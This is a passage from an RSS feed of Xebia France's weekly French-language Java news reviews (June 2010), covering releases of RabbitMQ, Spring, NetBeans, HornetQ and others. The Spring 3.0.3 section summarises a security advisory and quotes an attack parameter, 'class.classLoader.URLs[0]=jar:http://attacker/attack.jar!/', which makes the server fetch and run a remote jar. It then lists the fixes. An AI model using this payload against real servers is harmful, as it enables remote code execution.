<li>l'existence de fuite mémoire (mais pourquoi ce point n'a t'il pas été placé en premier ?)</li>
<li>une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d'introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta...</li>
<li>une mauvaise utilisation des ressources machine (CPU, I/O...). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.</li>
<li>des sites web trop chargés. La bande passante ne cesse d'augmenter, mais ce n'est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.</li>
<li>une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c'est le Garbage Collector qui vous rappellera à l'ordre.</li>
<li>la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d'objets, ou des objets trop volumineux.</li>
</ul>
<p>Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c'est en partie la raison de vivre d'un blog éditeur) et nous préférons le déplacer en bonus :</p>
<ul>
<li>le problème intermittent, invisible. C'est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.</li>
</ul>
<h3><a name="Agilit"></a>Agilité</h3>
<h4><a name="HappybirthdayPostIt"></a>Happy birthday Post-It !</h4>
<p>Et pour conclure cette revue de presse, nous ne résistons pas à l'envie de partager avec vous cette nouvelle d'importance: les Post-It, ces fameuses petites notes collantes multicolores, <a title="fêtent leurs 30 ans" href="http://www.journaldunet.com/economie/industrie/fabrication-de-post-it/">fêtent leurs 30 ans</a>. Rappelons que l'utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d'un Sprint sans Post-It ?! Alors pour leur rendre hommage, <a title="regardons quelques photos" href="http://www.touilleur-express.fr/2009/03/30/3-exemples-de-tableaux-scrum/">regardons quelques photos</a> ou encore cette <a title="magnifique vido de laquelle ils sont les acteurs majeurs" href="http://vimeo.com/4587652">magnifique vidéo de laquelle ils sont les acteurs majeurs</a>. Bon anniversaire les p'tits gars !</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/</link>
		<comments>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 05:45:32 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[Apache Click]]></category>
		<category><![CDATA[Eclipse]]></category>
		<category><![CDATA[Netbean]]></category>
		<category><![CDATA[Netbeans]]></category>
		<category><![CDATA[PaaS]]></category>
		<category><![CDATA[Play!]]></category>
		<category><![CDATA[rabbitmq]]></category>
		<category><![CDATA[Sencha]]></category>
		<category><![CDATA[Spring]]></category>
		<category><![CDATA[Stratos]]></category>
		<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=4919</guid>
		<description><![CDATA[
La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.
Actualité  éditeurs / SSII

RabbitMQ 1.8

RIA

Du côté de chez Play! Framework
ExtJS + Raphael + jQtouch = Sencha

SOA

WSO2 lance Stratos, un PaaS ouvert

Le coin de la  technique

Spring, version 3.0.3 et faille de sécurité
Trucs et astuces pour Eclipse
Sortie d'Apache Click 2.2.0
Netbeans 6.9
Choisir entre mod_jk et mod_proxy, [...]]]></description>
			<content:encoded><![CDATA[<p><img style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p>
<p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Actualité  éditeurs / SSII</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#RabbitMQ">RabbitMQ 1.8</a></li>
</ul>
<p><strong>RIA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#DuctdechezPlayFramework">Du côté de chez Play! Framework</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#ExtJSRaphaeljQtouchSencha">ExtJS + Raphael + jQtouch = Sencha</a></li>
</ul>
<p><strong>SOA</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#WSOlanceStratosunPaaSouvert">WSO2 lance Stratos, un PaaS ouvert</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Springversionetfailledescurit">Spring, version 3.0.3 et faille de sécurité</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#TrucsetastucespourEclipse">Trucs et astuces pour Eclipse</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#SortiedApacheClick">Sortie d'Apache Click 2.2.0</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Netbeans">Netbeans 6.9</a></li>
<li><a href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Choisirentremodjketmodproxypar">Choisir entre mod_jk et mod_proxy, par Mark Thomas</a></li>
</ul>
<h3><a name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3>
<h4><a name="RabbitMQ"></a>RabbitMQ 1.8</h4>
<p>Alors que des idées originales sont proposées autour de RabbitMQ, comme cette <a title="proposition" href="http://www.tomcatexpert.com/blog/2010/06/21/clustering-cloud-friendly-tomcat-sessions-rabbitmq-part-i">proposition</a> de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.</p>
<p>La possibilité d'ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d'échanges semble s'adresser surtout aux spécialistes (RabbitMQ pour l'instant ne propose qu'un mode de persistance même si un nouveau est annoncé prochainement).</p>
<p>Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d'<a href="www.amqp.org">AMQP</a> qui est actuellement en version 0.10 et déjà supportée par <a title="Qpid" href="http://qpid.apache.org/">Qpid</a>. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d'efforts aux brokers pour l'implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de <em>acker</em> plusieurs fois un même message.</p>
<p>On peut regretter aussi que cette version n'apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s'il existe déjà des solutions externes.</p>
<p>Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :</p>
<div class="syntax_hilite">
<div id="xml-4">
<div class="xml"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;dependency<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;groupId<span style="font-weight: bold; color: black;">&gt;</span></span></span>com.rabbitmq<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/groupId<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;artifactId<span style="font-weight: bold; color: black;">&gt;</span></span></span>amqp-client<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/artifactId<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;version<span style="font-weight: bold; color: black;">&gt;</span></span></span>1.8.0<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/version<span style="font-weight: bold; color: black;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/dependency<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</div>
</div>
<p>
Bien que cette version ne révolutionne rien, elle corrige pas mal d'imperfections et il est chaudement conseillé de l'installer.</p>
<h3><a name="RIA"></a>RIA</h3>
<h4><a name="DuctdechezPlayFramework"></a>Du côté de chez Play! Framework</h4>
<p><a title="Play!" href="http://www.playframework.org/">Play!</a>, le framework qui monte, qui monte, vient de passer un cap important : une <a title="Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Cheat Sheet</a> vient de lui être consacrée !</p>
<p>Les releases s'enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.</p>
<ul>
<li><a title="Play! Framework Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Play! Framework Cheat Sheet</a></li>
</ul>
<p>Egalement à signaler, le lancement d'une plateforme pour héberger vos applications Play! : <a title="PlayApps" href="http://www.playapps.net/">PlayApps</a>. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l'air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n'avons pas encore eu l'occasion de tester ça, et nous sommes curieux.</p>
<h4><a name="ExtJSRaphaeljQtouchSencha"></a>ExtJS + Raphael + jQtouch = Sencha</h4>
<p>Nous connaissons <a title="ExtJS" href="http://www.sencha.com/products/js/">ExtJS</a> mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient <a title="Sencha" href="http://sencha.com/">Sencha</a> ! (via <a title="ajaxian" href="http://ajaxian.com/archives/sencha-extjs-jqtouch-raphael-connect"><em>ajaxian</em></a>)</p>
<p>Alors, qu'y a-t-il derrière cette nouvelle identité ?  Et bien plusieurs produits déjà sortis et d'autres encore en incubation :</p>
<ul>
<li>Sencha Touch : framework HTML5 pour développement mobile <em>(iPhone et Android)</em> ;</li>
<li>Ext Designer : application desktop de création d'interfaces ;</li>
<li>Ext JS : on ne présente plus ce framework de création d'interfaces riches en Javascript ;</li>
<li>Ext GWT : Ext JS pour les développeurs Java et GWT ;</li>
<li>Ext Core : librairie Javascript cross-browser ;</li>
<li>[Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;</li>
<li>[Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;</li>
<li>[Labs] Connect : framework regroupant Rack et NodeJS <em>(j'attend déjà avec impatience !)</em> pour un serveur d'application <em>lean</em> et <em>event driven</em>.</li>
</ul>
<p>Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.</p>
<h3><a name="SOA"></a>SOA</h3>
<h4><a name="WSOlanceStratosunPaaSouvert"></a>WSO2 lance Stratos, un PaaS ouvert</h4>
<p><a title="WSO2" href="http://wso2.org/">WSO2</a>, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme <a title="PaaS" href="http://en.wikipedia.org/wiki/Platform_as_a_service">PaaS</a> Stratos. D'après <a title="Paul Fermantle" href="http://pzf.fremantle.org/2010/06/wso2-stratos-platform-as-service-for.html">Paul Fermantle</a>, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :</p>
<ul>
<li>contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,</li>
</ul>
<ul>
<li>Stratos n'offre pas seulement une plateforme pour le développement d'applications web, mais une architecture d'un SI d'entreprise complète avec notamment un ESB, de l'orchestration de services, etc ...,</li>
</ul>
<ul>
<li>Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.</li>
</ul>
<p>Vous pouvez d'ores et déjà l'essayer à cette <a title="adresse" href="https://cloud.wso2.com/carbon/admin/login.jsp">adresse</a></p>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="Springversionetfailledescurit"></a>Spring, version 3.0.3 et faille de sécurité</h4>
<p>Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d'une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.</p>
<p>Plus de détails sur l'<a title="annonce officielle" href="http://blog.springsource.com/2010/06/15/spring-framework-3-0-3-released/">annonce officielle</a>. Il est à noter que cette version corrige <a title="une faille de scurit assez importante" href="http://www.securityfocus.com/archive/1/511877">une faille de sécurité assez importante</a> découverte sur la partie MVC et remontée par Meder Kydyraliev, de l'équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.</p>
<p>Le principe de l'attaque consiste à :</p>
<ol>
<li>Réaliser un jar accessible depuis internet avec un fichier <code>META-INF/spring-form.tld</code> et un répertoire <code>META-INF/tags/</code> contenant le code Java du tag</li>
<li>Soumettre un formulaire avec le paramètre HTTP : <code>class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/</code></li>
<li>Ensuite, le comportement interne de Spring fait qu'il va télécharger <code>http://attacker/attack.jar</code> pour l'exécuter sur la JVM du serveur d'application.</li>
</ol>
<p>Pour se défendre de ce type d'attaque il y a deux possibilités :</p>
<ul>
<li>Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)</li>
<li>Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l'URL soumise</li>
</ul>
<p>Pour plus détails, je vous invite à lire le <a title="billet de Julien Dubois sur son blog Responcia" href="http://www.responcia.fr/blog/2010/06/18/faille-de-securite-critique-dans-spring/">billet de Julien Dubois sur son blog Responcia</a></p>
<h4><a name="SortiedApacheClick"></a>Sortie d'Apache Click 2.2.0</h4>
<p><a title="Apache Click" href="http://click.apache.org/">Apache Click</a> est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s'écrit en Velocity, en FreeMarker ou en JSP. Click est <em>stateless</em> par défaut mais peut être paramétré pour être <em>stateful</em>. A noter qu'il est <em>top-level project</em> chez Apache depuis Novembre 2009.</p>
<p>Les nouveautés de cette version sont <a title="nombreuses" href="http://click.apache.org/docs/roadmap-changes.html">nombreuses</a>. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l'ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.</p>
<p>Les liens utiles : <a title="téléchargement" href="http://click.apache.org/docs/downloads.html">téléchargement</a>, <a title="guide utilisateur" href="http://click.apache.org/docs/user-guide.html">guide utilisateur</a> et <a title="exemples" href="http://www.avoka.com/click-examples/home.htm">exemples</a>.</p>
<h4><a name="TrucsetastucespourEclipse"></a>Trucs et astuces pour Eclipse</h4>
<p>De plus en plus de développeurs sont convaincus par <a title="IntelliJ IDEA" href="http://www.jetbrains.com/idea/">IntelliJ IDEA</a>, l'IDE de <a title="JetBrains" href="http://www.jetbrains.com/">JetBrains</a>. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse.  Certes, IDEA apporte son lot de changements par rapport à <a title="Eclipse" href="http://www.eclipse.org/">Eclipse</a> mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l'IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d'articles du côté de chez <a title="CertPal" href="http://www.certpal.com/blogs/tag/tips/">CertPal</a> de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d'Eclipse.</p>
<p>Le <a title="premier article" href="http://www.certpal.com/blogs/2009/08/eclipse-tips-and-tricks-part-1/">premier article</a> se consacre au <code>code templates</code>. Exemple : la complétion sur <code>syso</code> nous génère automatiquement <code>System.out.println()</code>. De nombreux templates sont déjà disponibles et il sera bien sûr possible d'en ajouter très facilement. L'auteur nous présente alors quelques possibilités de templates comme le <code>go</code> générant un <code>main</code>, le <code>log</code> générant une variable de log avec les imports adéquats ou bien encore le <code>tryf</code> générant un block <code>try/catch/finally</code>.</p>
<p>Le <a title="second" href="http://www.certpal.com/blogs/2009/09/eclipse-tips-and-tricks-part-2/">second</a> se focalise sur le débogage de l'application. Cela commence par la mise en place du <code>remote debugging</code>. Puis, l'auteur détaille les points d'arrêt conditionnels, la vue <code>display</code> qui permet l'exécution de code <em>live</em> avec toutes les variables du scope à disposition, la définition d'un <code>detail formatter</code> spécifique et la modification <em>live</em> de valeurs depuis la vue d'inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le <em>debug</em> de nos applications.</p>
<p>Enfin, sorti en début de semaine dernière, un <a title="troisime article" href="http://www.certpal.com/blogs/2010/06/eclipse-tips-and-tricks-part-3/">troisième article</a>, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l'import/export des préférences ou la très intéressante vue <code>local history</code>.</p>
<p>La série n'étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.</p>
<h4><a name="Netbeans"></a>Netbeans 6.9</h4>
<p>Aprés IntelliJ et Eclipse, Netbeans ! <a title="Netbeans 69" href="http://netbeans.org/community/releases/69/">Netbeans 6.9</a> est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d'un formulaire, associés à des états et une source de données. Tout comme l'ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.</p>
<p>Parmi les autres nouveautés :</p>
<ul>
<li>intégration d'OSGI</li>
<li>support de Spring 3.0.0</li>
<li>support REST web services pour les applications RCP</li>
<li>support de Rails 3.0</li>
</ul>
<p>A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.</p>
<p>Bien que ce soit une version majeure, pas sûr néanmoins qu'elle fasse de l'ombre à la version annuelle d'Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.</p>
<h4><a name="Choisirentremodjketmodproxypar"></a>Choisir entre mod_jk et mod_proxy, par Mark Thomas</h4>
<p>Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s'est fendu d'un nouvel article qui se veut une <em>checklist</em> pour choisir entre le mod_jk et le mod_proxy. Mark commence d'ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd'hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:</p>
<ul>
<li>Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.</li>
<li>Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.</li>
<li>Si vous avez déjà un de ces modules en production, ne changez rien.</li>
<li>Mark préfère le mod_proxy_http, pour sa configuration plus consistante.</li>
</ul>
<p>Pour plus d'information, vous pouvez lire son article sur le <a title="blog Tomcat Expert" href="http://www.tomcatexpert.com/blog/2010/06/16/deciding-between-modjk-modproxyhttp-and-modproxyajp">blog Tomcat Expert</a>, ou connaître notre avis sur la question: <a title="modproxy vs modjk" href="http://blog.xebia.fr/2010/02/03/tomcat-load-balancing-mod_proxy-vs-mod_jk-le-match/">mod_proxy vs mod_jk</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Revue de Presse Xebia</title>
		<link>http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/</link>
		<comments>http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 06:27:29 +0000</pubDate>
		<dc:creator>Xebia France</dc:creator>
				<category><![CDATA[Revue de presse]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[HornetQ]]></category>
		<category><![CDATA[Mémoire]]></category>
		<category><![CDATA[STOMP]]></category>
		<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[WebSocket]]></category>

		<guid isPermaLink="false">http://blog.xebia.fr/?p=4896</guid>
		<description><![CDATA[
La revue de presse de l'actualité Java/J2EE hebdomadaire proposée par Xebia.
Actualité  éditeurs / SSII

HornetQ 2.1

Le coin de la  technique

Git podcastcodé
Fuites mémoires dans Tomcat 

Actualité  éditeurs / SSII
HornetQ 2.1
La version 2.1 d'HornetQ est sortie la semaine dernière. Trois nouvelles fonctionnalités importantes ont été apportées :

La possibilité de regrouper des petits messages, au niveau [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br />
<em>La revue de presse de l'actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p>
<p><strong>Actualité  éditeurs / SSII</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#HornetQ">HornetQ 2.1</a></li>
</ul>
<p><strong>Le coin de la  technique</strong></p>
<ul>
<li><a href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#Gitpodcastcod">Git podcastcodé</a></li>
<li><a href="http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/#FuitesmmoiresdansTomcat">Fuites mémoires dans Tomcat </a></li>
</ul>
<h3><a name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3>
<h4><a name="HornetQ"></a>HornetQ 2.1</h4>
<p>La <a href="http://hornetq.blogspot.com/2010/06/new-stuff-on-hornetq-21-final.html" title="version 21" >version 2.1</a> d'HornetQ est sortie la semaine dernière. Trois nouvelles fonctionnalités importantes ont été apportées :</p>
<ul>
<li>La possibilité de <a href="http://hornetq.sourceforge.net/docs/hornetq-2.1.0.Final/user-manual/en/html/perf-tuning.html#d0e11353" title="regrouper des petits messages" >regrouper des petits messages</a>, au niveau du protocole TCP, dans un seul envoi</li>
<li>Ajout du protocole STOMP, un protocole de messagerie texte très simple mais qui a l'avantage de s'adapter à de nombreuses plateformes et langages.</li>
<li>Implémentation de l'API WebSocket pour STOMP. WebSocket est apparu avec la nouvelle norme HTML5 et propose une normalisation de l'API javascript pour tout ce qui concerne le maintien d'une <em>socket</em> vers le serveur, reprenant le principe de Comet.</li>
</ul>
<p>Ces deux derniers points sont aussi prévus dans la version 5.3.4 d'ActiveMQ. </p>
<p>Dans la roadmap de la version 2.2 :</p>
<ul>
<li>Rest: accepter le protocole HTTP</li>
<li>Serverless: un client HornetQ embarquant un serveur</li>
<li>AMQP: implémentation de la version 1.0, pas encore finalisée, de ce protocole</li>
</ul>
<h3><a name="Lecoindelatechnique"></a>Le coin de la  technique</h3>
<h4><a name="Gitpodcastcod"></a>Git podcastcodé</h4>
<p>Avec ce titre, nous voulons signaler que <a href="http://fr.wikipedia.org/wiki/Git" title="Git" >Git</a>, le gestionnaire de versions décentralisé, a été mis à l'honneur du <a href="http://lescastcodeurs.com/2010/05/les-cast-codeurs-podcast-episode-23-interview%C2%A0dvcs-et-git-jai-vu-la-lumiere-avec%C2%A0david-gageot-dalgodeal/" title="dernier épisode" >dernier épisode</a> du podcast des <a href="http://lescastcodeurs.com/" title="Cast Codeurs" >Cast Codeurs</a>. Emmanuel Bernard, de JBoss, interroge David Gageot d'Algodeal, qui utilise Git depuis 2 ans déjà, et nous livre quelques bons cas d'utilisation et exemples.<br />
Alors quels sont les arguments utilisés pour vanter ce <a href="http://en.wikipedia.org/wiki/Distributed_Version_Control_System" title="DVCS" >DVCS</a> ? Ce qui ressort c'est surtout le gain de temps et le fait que Git ne se met pas en travers du chemin de ses utilisateurs. Les <em>commits</em> sont rapides car en local, et seuls les changements sont commités, pas les versions finales des fichiers. Un bénéfice qui en découle est que les développeurs sont ainsi poussés à commiter souvent. Git détecte aussi automatiquement les déplacements et renommages des fichiers , ce qui permet des <em>refactorings</em> agressifs.<br />
Bien sûr, David Gageot évoque la question que tout le monde se pose: si la même ligne change à 2 endroits, que se passe-t-il alors ? Effectivement, ce cas doit être résolu manuellement, mais il précise que, grâce aux commits fréquents qu'encourage Git, et comme il se base sur les modifications successives, ce cas survient moins souvent.<br />
Une méthodologie particulière, qui intéressera tous ceux qui ont déjà passé des heures à chercher quel commit avait été à l'origine d'un bug, est aussi décrite. Elle se base sur l'outil git-bisect pour détecter rapidement (par dichotomie) la révision où un bug est apparu. La description de cette fonctionnalité est assez bluffante !<br />
En vrac, sont aussi évoqués:</p>
<ul>
<li>Git SVN qui permet de se faire la main en local sur Git tout en continuant d'utiliser le SVN de son équipe par exemple.</li>
<li><a href="http://github.com/" title="Git Hub" >Git Hub</a> présenté comme la <em>killer app</em> de Git qui est en quelque sorte un Sourceforge 2.0, plus social.</li>
<li>L'absence de vraie <em>roadmap</em> publique, justifiée par le développement qualifié d'organique, mais la bonne progression du projet n'en semble pas affectée.</li>
</ul>
<p>Au final, une phrase qui résumera bien tout cet entretien est "Git, si tu as besoin de le vendre à ton manager, change de manager" <img src='http://blog.xebia.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  . David Gageot entend par là montrer à quel point Git améliore la productivité.<br />
Emmanuel Bernard semble d'ailleurs avoir été tellement convaincu qu'il vient de publier un article intitulé <a href="http://blog.emmanuelbernard.com/2010/05/git-how-my-life-has-improved-since-last-month-when-i-used-svn" title="Git how my life has improved since last month when I used SVN" >"Git: how my life has improved since last month when I used SVN"</a>.<br />
Et pour terminer sur Git, notons qu'<a href="http://www.infoq.com/news/2010/06/egit-helios" title="InfoQ annonce" >InfoQ annonce</a> les dernières versions des plugins Eclipse JGit et Egit. <a href="http://wiki.eclipse.org/JGit" title="Jgit" >Jgit</a> est la librairie Java permettant de communiquer avec un repository Git, alors que <a href="http://wiki.eclipse.org/EGit" title="EGit" >EGit</a> est son <em>frontend</em> graphique permettant d'y accéder dans Eclipse. Il est précisé que le format étant standardisé, il est possible (voir recommandé, car le développement est encore en cours) d'utiliser ces plugins conjointement à Git version ligne de commande. C'est quelque chose qu'apprécieront les nombreuses personnes ayant déjà eu des problèmes suite à une montée de version de SVN en ligne de commande alors que les plugins SVN pour Eclipse, inchangés, étaient rendu non fonctionnels (voir corrompaient carrément les fichiers !).</p>
<h4><a name="FuitesmmoiresdansTomcat"></a>Fuites mémoires dans Tomcat </h4>
<p>Vous êtes en train de tester votre application qui tourne sur Tomcat depuis votre IDE mais vous aimeriez faire une petite modification sur votre contrôleur et vous êtes en <em>build automatic</em>. La compilation se met en marche et là, pas de chance, les piles d'erreurs s'accumulent dans votre console. Plus rien ne fonctionne, vous êtes bon pour redémarrer votre serveur.</p>
<p>Ce problème bien connu, du en général à des OutOfMemoryException, arrive car la <em>dé-allocation</em> des objets utilisés se passe mal, la pile PermGen de la JVM accumule les objets sans dégrossir provoquant des PermGen Exception. Une <a href="http://java.dzone.com/articles/memory-leak-protection-tomcat" title="interview trs intressante" >interview très intéressante</a> de Mark Thomas, commiter sur Apache Tomcat, nous éclaire sur le pourquoi du comment et les améliorations prévues pour Tomcat 7.  </p>
<p>D'après son expérience, les fuites mémoires sont surtout dues à des défauts dans les librairies utilisées. Tomcat affecte un classloader par application, lorsqu'une application est rechargée Tomcat tente d'abord de nettoyer tous les objets liés au classloader avant d'en affecter un nouveau. Si jamais pour une raison ou une autre un objet d'un autre classloader pointe vers celui qu'on veut supprimer, les objets ne peuvent être supprimer. Les API ou applications qui peuvent être responsables de cette situation sont en général :</p>
<ul>
<li>JDBC driver registration</li>
<li>Some logging frameworks</li>
<li>Storing objects in ThreadLocals and not removing them</li>
<li>Starting threads and not stopping them</li>
</ul>
<p>Pour corriger cela, Tomcat lance des méthodes de nettoyage ad hoc pour tous ces types de problème et si jamais ce n'est pas possible, trace précisément la cause du <em>non dé-référencement</em>.</p>
<p>Plus surprenant peut-être, les causes de fuites mémoires sont parfois provoquées par la JRE elle-même. Dans ce cas Tomcat va tenter d'intercepter ces appels directs à la JVM pour pouvoir contrôler par la suite son référencement. On apprend à l'occasion que l'implémentation de java.util.logging dans la JRE n'est pas gérée par un classloader <em>classique</em> et Tomcat doit la surcharger.</p>
<p>Cet interview donne une idée assez claire de ce qui se passe dans Tomcat au moment du chargement d'une application. Les curieux peuvent étudier les classes <a href="http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader.java?view=markup" title="WebappClassLoader" >WebappClassLoader</a> (surtout la méthode <code>clearReferences()</code>)  et <a href="http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/core/JreMemoryLeakPreventionListener.java?view=markup" title="JreMemoryLeakPreventionListener" >JreMemoryLeakPreventionListener</a> pour connaitre un peu mieux le fonctionnement interne. Tomcat 7 devrait apporter de nombreuses améliorations qui, bonne nouvelle, ont été aussi backportées sur la version 6.0.24 et donc déjà disponible. </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.xebia.fr/2010/06/08/revue-de-presse-xebia-162/feed/</wfw:commentRss>
